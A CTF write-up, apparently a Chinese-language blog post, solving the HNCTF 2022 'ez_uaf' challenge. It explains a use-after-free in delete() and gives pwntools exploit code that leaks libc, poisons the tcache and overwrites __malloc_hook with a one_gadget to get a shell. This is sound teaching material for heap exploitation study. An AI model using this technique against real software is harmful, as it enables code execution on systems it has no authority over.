Post

[HNCTF 2022 WEEK4] ez_uaf

1
2
3
4
5
6
[*] '/home/bamuwe/ez_uaf/ez_uaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ checksec ./ez_uaf

1
2
3
4
5
6
Easy Note.
1.Add.
2.Delete.
3.Show.
4.Edit.
Choice:

$ ./ez_uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 delete()
{
  __int64 result; // rax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0xF && *(*(&heaplist + v1) + 28LL) )
  {
    free(*(*(&heaplist + v1) + 16LL));
    free(*(&heaplist + v1));
    result = *(&heaplist + v1);
    *(result + 28) = 0;
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
  return result;
}

delete()漏洞函数,没有清除指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def add(size,name,content):
    io.sendlineafter(b'Choice: \n',b'1')
    io.sendlineafter(b'Size:\n',str(int(size)))
    io.sendafter(b'Name: \n',name)
    io.sendafter(b'Content:\n',content)

def free(idx):
    io.sendlineafter(b'Choice: \n',b'2')
    io.sendlineafter(b'idx:\n',str(int(idx)))

def show(idx):
    io.sendlineafter(b'Choice: \n',b'3')
    io.sendlineafter(b'idx:\n',str(int(idx)))
    
def edit(idx,content):
    io.sendlineafter(b'Choice: \n',b'4')
    io.sendlineafter(b'idx:\n',str(int(idx)))
    io.send(content)

交互函数

程序逻辑:

  1. add()一个chunk
  2. free()这个区块后仍然可以对这个区块进行edit(),show()

利用思路:

  1. 利用unsortbin指向自身的特点,泄露出main_arena的地址,进而泄露出__malloc_hook的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    add(0x410,b'a',b'a')    #0
    add(0x20,b'b',b'1111')  #1						#后续利用的chunk
    add(0x10,b'c',b'c')     #2						#后续利用的chunk
    free(0)                                         #unsortbin指向自身
    show(0)
    #leak_libc
    io.recvuntil(b'\n')
    malloc_hook_addr = u64(io.recv(6).ljust(8,b'\x00'))-96-16
    success(f'malloc_hook_addr=> {hex(malloc_hook_addr)}')
    lib_offset = malloc_hook_addr - lib.sym['__malloc_hook']
    one_gadgets_addr = 0x10a2fc+lib_offset			#后续利用
    

    image-20240430195924018

  2. 释放chunk1并且修改chunk1fd的地址为__malloc_hook的地址,制造fake_chunk

    1
    2
    
    free(1)
    edit(1,p64(malloc_hook_addr))       # 修改fd
    

    image-20240430200315872

  3. 利用fake_chunk修改__malloc_hook 的内容为one_gadget,重新add()一个chunk得到shell

    1
    2
    3
    4
    5
    6
    
    add(0x10,b'2',b'2')     #3          #tcachebin规则          
    add(0x20,b'3',b'3')     #4        #fake_chunk,地址为malloc_hook_addr
    edit(4,p64(one_gadgets_addr))
       
    io.sendlineafter(b'Choice: \n',b'1')
    io.sendlineafter(b'Size:\n',b'0x20')
    

    提到tcachebin规则,由上图可知,当前tcachebinmalloc_hook之前还有两个堆块,所以我们要填充再利用

关于unsortedbin:

1.当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。

2.释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。

3.当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

This post is licensed under CC BY 4.0 by the author.